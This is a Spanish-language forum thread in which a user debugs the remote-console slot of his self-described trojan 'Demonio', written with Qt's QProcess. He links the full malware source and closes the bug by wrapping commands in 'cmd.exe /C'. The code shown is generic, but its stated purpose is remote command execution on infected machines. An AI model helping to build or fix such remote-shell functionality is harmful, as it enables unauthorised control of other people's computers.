Buenas, tengo un bug en mi troyano que llevo ya 2 dias con él y por muchas vueltas que le doy no consigo que funcione correctamente.
Se trata de la consola remota, tengo este slot:
QString MainWindow::shell(QString comando){
/** Función que ejecuta el comando de consola pasado como parámetro y devuelve la salida **/
consola.start(comando);
consola.waitForStarted();
consola.waitForReadyRead();
return consola.readAll();
}
consola esta definido en el .h como QProcess consola.
El caso es que no me funciona, no me devuelve la salida del comando
pero si pongo cmd.exe aparece esto
Microsoft Windows [Versi¢n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\alberto\Desktop\DemonioCompartido\Demonio\src\servidor-build-desktop>
Alguien tiene alguna idea? aver si puedo sacar ya la 1.0 final de una vez.
No entiendo tu problema... te abre el cmd pero nada mas?
Podriamos ver la declaracion de los comandos que usas, o algo?
Con eso se mas bien poco...
PD: Suerte y espero verlo completo!
los comandos que uso son los típicos comandos de windows, del mem echo etc... he comprobado que le llegan perfectamente a la función, es algo relacionado con el QProcess, quizás algo relacionado con que ejecuta los comandos de forma asíncrona y lee la salida estandar antes de que el comando haya terminado ( no estoy muy seguro de esto).
Si necesitas más está todo el código fuente del troyano en la sección Análisis y Diseño de Malware, se llama Demonio - Un troyano con licencia GPL.
SALUDOS
Me da un error al abrir el fichero. A ver como leo el code :o
gzip: stdin: unexpected end of file
tar: Unexpected EOF in archive
tar: Error is not recoverable: exiting now
Vaya ***** de servidor, se corta la descarga a la mitad, no me extraña que no se abra el archivo.
¿No sabrás dónde colgar esto gratuitamente?
Bueno, si no megaupload + megaupremium... alguno de codigo libre como... ffff :¬¬
ni idea. habia por ahi un portal de codigo libre que va muy bien para descargar, pero no me acuerdo del nombre :P y que probe al descargar el NC para windows / linux...
si me acuerdo, modifico...
Ya está, lo he puesto en sourceforge, que maravilla :)
Link ? En Malware no esta...
http://sourceforge.net/projects/demonio/files/Demonio.tar.gz/download
Buen code, aunque me lia un poco, pork no he tocado el Qt4 ni algunas cosas de C++. C es mi profesion jaja.
Te deseo mucha suerte en tu proyecto, y pon el link en el blog principal que si no es un lio...
Gracias, aún sigo con el dichoso bug, creo que lo dejaré por un tiempo y me pondré a implementar algunas cosas interesantes en el svn y pasado un tiempo lo miraré otra vez a ver si encuentro el problema. Lo malo es que no podré lanzar la 1.0 estable hasta haberlo solucionado pero en fin...
Lh: No hagas doble post, utiliza el botón modificar.
Bueno, he creado una solución temporal, llamando a cmd.exe /C comando...
No es muy bonito y tal pero al menos ejecuta los comandos y devuelve el resultado.
Lo considero suficiente como para cerrar el bug.